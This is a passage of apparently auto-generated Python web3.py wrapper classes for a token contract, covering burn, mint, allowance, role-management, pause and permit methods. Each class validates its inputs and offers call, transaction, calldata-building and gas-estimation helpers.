burn method.""" self.validator.assert_valid( method_name='burn', parameter_name='amount', argument_value=amount, ) # safeguard against fractional inputs amount = int(amount) return (amount) def call(self, amount: int, tx_params: Optional[TxParams] = None) -> None: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ (amount) = self.validate_and_normalize_inputs(amount) tx_params = super().normalize_tx_params(tx_params) self._underlying_method(amount).call(tx_params.as_dict()) def send_transaction(self, amount: int, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ (amount) = self.validate_and_normalize_inputs(amount) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(amount).transact(tx_params.as_dict()) def build_transaction(self, amount: int, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" (amount) = self.validate_and_normalize_inputs(amount) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(amount).buildTransaction(tx_params.as_dict()) def estimate_gas(self, amount: int, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" (amount) = self.validate_and_normalize_inputs(amount) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(amount).estimateGas(tx_params.as_dict()) class BurnFromMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the burnFrom method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction, validator: Validator = None): """Persist instance data.""" super().__init__(web3_or_provider, contract_address, validator) self._underlying_method = contract_function def validate_and_normalize_inputs(self, account: str, amount: int): """Validate the inputs to the burnFrom method.""" self.validator.assert_valid( method_name='burnFrom', parameter_name='account', argument_value=account, ) account = self.validate_and_checksum_address(account) self.validator.assert_valid( method_name='burnFrom', parameter_name='amount', argument_value=amount, ) # safeguard against fractional inputs amount = int(amount) return (account, amount) def call(self, account: str, amount: int, tx_params: Optional[TxParams] = None) -> None: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ (account, amount) = self.validate_and_normalize_inputs(account, amount) tx_params = super().normalize_tx_params(tx_params) self._underlying_method(account, amount).call(tx_params.as_dict()) def send_transaction(self, account: str, amount: int, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ (account, amount) = self.validate_and_normalize_inputs(account, amount) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(account, amount).transact(tx_params.as_dict()) def build_transaction(self, account: str, amount: int, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" (account, amount) = self.validate_and_normalize_inputs(account, amount) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(account, amount).buildTransaction(tx_params.as_dict()) def estimate_gas(self, account: str, amount: int, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" (account, amount) = self.validate_and_normalize_inputs(account, amount) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(account, amount).estimateGas(tx_params.as_dict()) class ContractUriMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the contractURI method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction): """Persist instance data.""" super().__init__(web3_or_provider, contract_address) self._underlying_method = contract_function def call(self, tx_params: Optional[TxParams] = None) -> str: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ tx_params = super().normalize_tx_params(tx_params) returned = self._underlying_method().call(tx_params.as_dict()) return str(returned) def send_transaction(self, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().transact(tx_params.as_dict()) def build_transaction(self, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().buildTransaction(tx_params.as_dict()) def estimate_gas(self, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().estimateGas(tx_params.as_dict()) class DecimalsMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the decimals method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction): """Persist instance data.""" super().__init__(web3_or_provider, contract_address) self._underlying_method = contract_function def call(self, tx_params: Optional[TxParams] = None) -> int: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ tx_params = super().normalize_tx_params(tx_params) returned = self._underlying_method().call(tx_params.as_dict()) return int(returned) def send_transaction(self, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().transact(tx_params.as_dict()) def build_transaction(self, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().buildTransaction(tx_params.as_dict()) def estimate_gas(self, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().estimateGas(tx_params.as_dict()) class DecreaseAllowanceMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the decreaseAllowance method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction, validator: Validator = None): """Persist instance data.""" super().__init__(web3_or_provider, contract_address, validator) self._underlying_method = contract_function def validate_and_normalize_inputs(self, spender: str, subtracted_value: int): """Validate the inputs to the decreaseAllowance method.""" self.validator.assert_valid( method_name='decreaseAllowance', parameter_name='spender', argument_value=spender, ) spender = self.validate_and_checksum_address(spender) self.validator.assert_valid( method_name='decreaseAllowance', parameter_name='subtractedValue', argument_value=subtracted_value, ) # safeguard against fractional inputs subtracted_value = int(subtracted_value) return (spender, subtracted_value) def call(self, spender: str, subtracted_value: int, tx_params: Optional[TxParams] = None) -> bool: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ (spender, subtracted_value) = self.validate_and_normalize_inputs( spender, subtracted_value) tx_params = super().normalize_tx_params(tx_params) returned = self._underlying_method( spender, subtracted_value).call(tx_params.as_dict()) return bool(returned) def send_transaction(self, spender: str, subtracted_value: int, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ (spender, subtracted_value) = self.validate_and_normalize_inputs( spender, subtracted_value) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(spender, subtracted_value).transact(tx_params.as_dict()) def build_transaction(self, spender: str, subtracted_value: int, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" (spender, subtracted_value) = self.validate_and_normalize_inputs( spender, subtracted_value) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(spender, subtracted_value).buildTransaction(tx_params.as_dict()) def estimate_gas(self, spender: str, subtracted_value: int, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" (spender, subtracted_value) = self.validate_and_normalize_inputs( spender, subtracted_value) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(spender, subtracted_value).estimateGas(tx_params.as_dict()) class GetRoleAdminMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the getRoleAdmin method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction, validator: Validator = None): """Persist instance data.""" super().__init__(web3_or_provider, contract_address, validator) self._underlying_method = contract_function def validate_and_normalize_inputs(self, role: Union[bytes, str]): """Validate the inputs to the getRoleAdmin method.""" self.validator.assert_valid( method_name='getRoleAdmin', parameter_name='role', argument_value=role, ) return (role) def call(self, role: Union[bytes, str], tx_params: Optional[TxParams] = None) -> Union[bytes, str]: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ (role) = self.validate_and_normalize_inputs(role) tx_params = super().normalize_tx_params(tx_params) returned = self._underlying_method(role).call(tx_params.as_dict()) return Union[bytes, str](returned) def send_transaction(self, role: Union[bytes, str], tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ (role) = self.validate_and_normalize_inputs(role) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(role).transact(tx_params.as_dict()) def build_transaction(self, role: Union[bytes, str], tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" (role) = self.validate_and_normalize_inputs(role) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(role).buildTransaction(tx_params.as_dict()) def estimate_gas(self, role: Union[bytes, str], tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" (role) = self.validate_and_normalize_inputs(role) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(role).estimateGas(tx_params.as_dict()) class GetRoleMemberMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the getRoleMember method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction, validator: Validator = None): """Persist instance data.""" super().__init__(web3_or_provider, contract_address, validator) self._underlying_method = contract_function def validate_and_normalize_inputs(self, role: Union[bytes, str], index: int): """Validate the inputs to the getRoleMember method.""" self.validator.assert_valid( method_name='getRoleMember', parameter_name='role', argument_value=role, ) self.validator.assert_valid( method_name='getRoleMember', parameter_name='index', argument_value=index, ) # safeguard against fractional inputs index = int(index) return (role, index) def call(self, role: Union[bytes, str], index: int, tx_params: Optional[TxParams] = None) -> str: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ (role, index) = self.validate_and_normalize_inputs(role, index) tx_params = super().normalize_tx_params(tx_params) returned = self._underlying_method( role, index).call(tx_params.as_dict()) return str(returned) def send_transaction(self, role: Union[bytes, str], index: int, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ (role, index) = self.validate_and_normalize_inputs(role, index) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(role, index).transact(tx_params.as_dict()) def build_transaction(self, role: Union[bytes, str], index: int, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" (role, index) = self.validate_and_normalize_inputs(role, index) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(role, index).buildTransaction(tx_params.as_dict()) def estimate_gas(self, role: Union[bytes, str], index: int, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" (role, index) = self.validate_and_normalize_inputs(role, index) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(role, index).estimateGas(tx_params.as_dict()) class GetRoleMemberCountMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the getRoleMemberCount method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction, validator: Validator = None): """Persist instance data.""" super().__init__(web3_or_provider, contract_address, validator) self._underlying_method = contract_function def validate_and_normalize_inputs(self, role: Union[bytes, str]): """Validate the inputs to the getRoleMemberCount method.""" self.validator.assert_valid( method_name='getRoleMemberCount', parameter_name='role', argument_value=role, ) return (role) def call(self, role: Union[bytes, str], tx_params: Optional[TxParams] = None) -> int: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ (role) = self.validate_and_normalize_inputs(role) tx_params = super().normalize_tx_params(tx_params) returned = self._underlying_method(role).call(tx_params.as_dict()) return int(returned) def send_transaction(self, role: Union[bytes, str], tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ (role) = self.validate_and_normalize_inputs(role) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(role).transact(tx_params.as_dict()) def build_transaction(self, role: Union[bytes, str], tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" (role) = self.validate_and_normalize_inputs(role) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(role).buildTransaction(tx_params.as_dict()) def estimate_gas(self, role: Union[bytes, str], tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" (role) = self.validate_and_normalize_inputs(role) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(role).estimateGas(tx_params.as_dict()) class GrantRoleMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the grantRole method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction, validator: Validator = None): """Persist instance data.""" super().__init__(web3_or_provider, contract_address, validator) self._underlying_method = contract_function def validate_and_normalize_inputs(self, role: Union[bytes, str], account: str): """Validate the inputs to the grantRole method.""" self.validator.assert_valid( method_name='grantRole', parameter_name='role', argument_value=role, ) self.validator.assert_valid( method_name='grantRole', parameter_name='account', argument_value=account, ) account = self.validate_and_checksum_address(account) return (role, account) def call(self, role: Union[bytes, str], account: str, tx_params: Optional[TxParams] = None) -> None: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ (role, account) = self.validate_and_normalize_inputs(role, account) tx_params = super().normalize_tx_params(tx_params) self._underlying_method(role, account).call(tx_params.as_dict()) def send_transaction(self, role: Union[bytes, str], account: str, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ (role, account) = self.validate_and_normalize_inputs(role, account) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(role, account).transact(tx_params.as_dict()) def build_transaction(self, role: Union[bytes, str], account: str, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" (role, account) = self.validate_and_normalize_inputs(role, account) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(role, account).buildTransaction(tx_params.as_dict()) def estimate_gas(self, role: Union[bytes, str], account: str, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" (role, account) = self.validate_and_normalize_inputs(role, account) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(role, account).estimateGas(tx_params.as_dict()) class HasRoleMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the hasRole method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction, validator: Validator = None): """Persist instance data.""" super().__init__(web3_or_provider, contract_address, validator) self._underlying_method = contract_function def validate_and_normalize_inputs(self, role: Union[bytes, str], account: str): """Validate the inputs to the hasRole method.""" self.validator.assert_valid( method_name='hasRole', parameter_name='role', argument_value=role, ) self.validator.assert_valid( method_name='hasRole', parameter_name='account', argument_value=account, ) account = self.validate_and_checksum_address(account) return (role, account) def call(self, role: Union[bytes, str], account: str, tx_params: Optional[TxParams] = None) -> bool: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ (role, account) = self.validate_and_normalize_inputs(role, account) tx_params = super().normalize_tx_params(tx_params) returned = self._underlying_method( role, account).call(tx_params.as_dict()) return bool(returned) def send_transaction(self, role: Union[bytes, str], account: str, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ (role, account) = self.validate_and_normalize_inputs(role, account) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(role, account).transact(tx_params.as_dict()) def build_transaction(self, role: Union[bytes, str], account: str, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" (role, account) = self.validate_and_normalize_inputs(role, account) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(role, account).buildTransaction(tx_params.as_dict()) def estimate_gas(self, role: Union[bytes, str], account: str, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" (role, account) = self.validate_and_normalize_inputs(role, account) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(role, account).estimateGas(tx_params.as_dict()) class IncreaseAllowanceMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the increaseAllowance method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction, validator: Validator = None): """Persist instance data.""" super().__init__(web3_or_provider, contract_address, validator) self._underlying_method = contract_function def validate_and_normalize_inputs(self, spender: str, added_value: int): """Validate the inputs to the increaseAllowance method.""" self.validator.assert_valid( method_name='increaseAllowance', parameter_name='spender', argument_value=spender, ) spender = self.validate_and_checksum_address(spender) self.validator.assert_valid( method_name='increaseAllowance', parameter_name='addedValue', argument_value=added_value, ) # safeguard against fractional inputs added_value = int(added_value) return (spender, added_value) def call(self, spender: str, added_value: int, tx_params: Optional[TxParams] = None) -> bool: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ (spender, added_value) = self.validate_and_normalize_inputs( spender, added_value) tx_params = super().normalize_tx_params(tx_params) returned = self._underlying_method( spender, added_value).call(tx_params.as_dict()) return bool(returned) def send_transaction(self, spender: str, added_value: int, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ (spender, added_value) = self.validate_and_normalize_inputs( spender, added_value) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(spender, added_value).transact(tx_params.as_dict()) def build_transaction(self, spender: str, added_value: int, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" (spender, added_value) = self.validate_and_normalize_inputs( spender, added_value) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(spender, added_value).buildTransaction(tx_params.as_dict()) def estimate_gas(self, spender: str, added_value: int, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" (spender, added_value) = self.validate_and_normalize_inputs( spender, added_value) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(spender, added_value).estimateGas(tx_params.as_dict()) class IsRestrictedTransferMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the isRestrictedTransfer method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction): """Persist instance data.""" super().__init__(web3_or_provider, contract_address) self._underlying_method = contract_function def call(self, tx_params: Optional[TxParams] = None) -> bool: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ tx_params = super().normalize_tx_params(tx_params) returned = self._underlying_method().call(tx_params.as_dict()) return bool(returned) def send_transaction(self, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().transact(tx_params.as_dict()) def build_transaction(self, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().buildTransaction(tx_params.as_dict()) def estimate_gas(self, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().estimateGas(tx_params.as_dict()) class IsTrustedForwarderMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the isTrustedForwarder method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction, validator: Validator = None): """Persist instance data.""" super().__init__(web3_or_provider, contract_address, validator) self._underlying_method = contract_function def validate_and_normalize_inputs(self, forwarder: str): """Validate the inputs to the isTrustedForwarder method.""" self.validator.assert_valid( method_name='isTrustedForwarder', parameter_name='forwarder', argument_value=forwarder, ) forwarder = self.validate_and_checksum_address(forwarder) return (forwarder) def call(self, forwarder: str, tx_params: Optional[TxParams] = None) -> bool: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ (forwarder) = self.validate_and_normalize_inputs(forwarder) tx_params = super().normalize_tx_params(tx_params) returned = self._underlying_method(forwarder).call(tx_params.as_dict()) return bool(returned) def send_transaction(self, forwarder: str, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ (forwarder) = self.validate_and_normalize_inputs(forwarder) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(forwarder).transact(tx_params.as_dict()) def build_transaction(self, forwarder: str, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" (forwarder) = self.validate_and_normalize_inputs(forwarder) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(forwarder).buildTransaction(tx_params.as_dict()) def estimate_gas(self, forwarder: str, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" (forwarder) = self.validate_and_normalize_inputs(forwarder) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(forwarder).estimateGas(tx_params.as_dict()) class MintMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the mint method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction, validator: Validator = None): """Persist instance data.""" super().__init__(web3_or_provider, contract_address, validator) self._underlying_method = contract_function def validate_and_normalize_inputs(self, to: str, amount: int): """Validate the inputs to the mint method.""" self.validator.assert_valid( method_name='mint', parameter_name='to', argument_value=to, ) to = self.validate_and_checksum_address(to) self.validator.assert_valid( method_name='mint', parameter_name='amount', argument_value=amount, ) # safeguard against fractional inputs amount = int(amount) return (to, amount) def call(self, to: str, amount: int, tx_params: Optional[TxParams] = None) -> None: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ (to, amount) = self.validate_and_normalize_inputs(to, amount) tx_params = super().normalize_tx_params(tx_params) self._underlying_method(to, amount).call(tx_params.as_dict()) def send_transaction(self, to: str, amount: int, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ (to, amount) = self.validate_and_normalize_inputs(to, amount) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(to, amount).transact(tx_params.as_dict()) def build_transaction(self, to: str, amount: int, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" (to, amount) = self.validate_and_normalize_inputs(to, amount) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(to, amount).buildTransaction(tx_params.as_dict()) def estimate_gas(self, to: str, amount: int, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" (to, amount) = self.validate_and_normalize_inputs(to, amount) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(to, amount).estimateGas(tx_params.as_dict()) class NameMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the name method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction): """Persist instance data.""" super().__init__(web3_or_provider, contract_address) self._underlying_method = contract_function def call(self, tx_params: Optional[TxParams] = None) -> str: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ tx_params = super().normalize_tx_params(tx_params) returned = self._underlying_method().call(tx_params.as_dict()) return str(returned) def send_transaction(self, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().transact(tx_params.as_dict()) def build_transaction(self, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().buildTransaction(tx_params.as_dict()) def estimate_gas(self, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().estimateGas(tx_params.as_dict()) class NoncesMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the nonces method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction, validator: Validator = None): """Persist instance data.""" super().__init__(web3_or_provider, contract_address, validator) self._underlying_method = contract_function def validate_and_normalize_inputs(self, owner: str): """Validate the inputs to the nonces method.""" self.validator.assert_valid( method_name='nonces', parameter_name='owner', argument_value=owner, ) owner = self.validate_and_checksum_address(owner) return (owner) def call(self, owner: str, tx_params: Optional[TxParams] = None) -> int: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ (owner) = self.validate_and_normalize_inputs(owner) tx_params = super().normalize_tx_params(tx_params) returned = self._underlying_method(owner).call(tx_params.as_dict()) return int(returned) def send_transaction(self, owner: str, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ (owner) = self.validate_and_normalize_inputs(owner) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(owner).transact(tx_params.as_dict()) def build_transaction(self, owner: str, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" (owner) = self.validate_and_normalize_inputs(owner) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(owner).buildTransaction(tx_params.as_dict()) def estimate_gas(self, owner: str, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" (owner) = self.validate_and_normalize_inputs(owner) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(owner).estimateGas(tx_params.as_dict()) class PauseMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the pause method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction): """Persist instance data.""" super().__init__(web3_or_provider, contract_address) self._underlying_method = contract_function def call(self, tx_params: Optional[TxParams] = None) -> None: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ tx_params = super().normalize_tx_params(tx_params) self._underlying_method().call(tx_params.as_dict()) def send_transaction(self, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().transact(tx_params.as_dict()) def build_transaction(self, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().buildTransaction(tx_params.as_dict()) def estimate_gas(self, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().estimateGas(tx_params.as_dict()) class PausedMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the paused method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction): """Persist instance data.""" super().__init__(web3_or_provider, contract_address) self._underlying_method = contract_function def call(self, tx_params: Optional[TxParams] = None) -> bool: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ tx_params = super().normalize_tx_params(tx_params) returned = self._underlying_method().call(tx_params.as_dict()) return bool(returned) def send_transaction(self, tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().transact(tx_params.as_dict()) def build_transaction(self, tx_params: Optional[TxParams] = None) -> dict: """Construct calldata to be used as input to the method.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().buildTransaction(tx_params.as_dict()) def estimate_gas(self, tx_params: Optional[TxParams] = None) -> int: """Estimate gas consumption of method call.""" tx_params = super().normalize_tx_params(tx_params) return self._underlying_method().estimateGas(tx_params.as_dict()) class PermitMethod(ContractMethod): # pylint: disable=invalid-name """Various interfaces to the permit method.""" def __init__(self, web3_or_provider: Union[Web3, BaseProvider], contract_address: str, contract_function: ContractFunction, validator: Validator = None): """Persist instance data.""" super().__init__(web3_or_provider, contract_address, validator) self._underlying_method = contract_function def validate_and_normalize_inputs(self, owner: str, spender: str, value: int, deadline: int, v: int, r: Union[bytes, str], s: Union[bytes, str]): """Validate the inputs to the permit method.""" self.validator.assert_valid( method_name='permit', parameter_name='owner', argument_value=owner, ) owner = self.validate_and_checksum_address(owner) self.validator.assert_valid( method_name='permit', parameter_name='spender', argument_value=spender, ) spender = self.validate_and_checksum_address(spender) self.validator.assert_valid( method_name='permit', parameter_name='value', argument_value=value, ) # safeguard against fractional inputs value = int(value) self.validator.assert_valid( method_name='permit', parameter_name='deadline', argument_value=deadline, ) # safeguard against fractional inputs deadline = int(deadline) self.validator.assert_valid( method_name='permit', parameter_name='v', argument_value=v, ) self.validator.assert_valid( method_name='permit', parameter_name='r', argument_value=r, ) self.validator.assert_valid( method_name='permit', parameter_name='s', argument_value=s, ) return (owner, spender, value, deadline, v, r, s) def call(self, owner: str, spender: str, value: int, deadline: int, v: int, r: Union[bytes, str], s: Union[bytes, str], tx_params: Optional[TxParams] = None) -> None: """Execute underlying contract method via eth_call. :param tx_params: transaction parameters :returns: the return value of the underlying method. """ (owner, spender, value, deadline, v, r, s) = self.validate_and_normalize_inputs( owner, spender, value, deadline, v, r, s) tx_params = super().normalize_tx_params(tx_params) self._underlying_method(owner, spender, value, deadline, v, r, s).call(tx_params.as_dict()) def send_transaction(self, owner: str, spender: str, value: int, deadline: int, v: int, r: Union[bytes, str], s: Union[bytes, str], tx_params: Optional[TxParams] = None) -> Union[HexBytes, bytes]: """Execute underlying contract method via eth_sendTransaction. :param tx_params: transaction parameters """ (owner, spender, value, deadline, v, r, s) = self.validate_and_normalize_inputs( owner, spender, value, deadline, v, r, s) tx_params = super().normalize_tx_params(tx_params) return self._underlying_method(owner, spender, value, deadline, v, r, s).transact(tx_params.as_dict()) def build_transaction(self, owner: str, spender: str, value: int, deadline: int, v: int, r: Union[bytes, str], s: 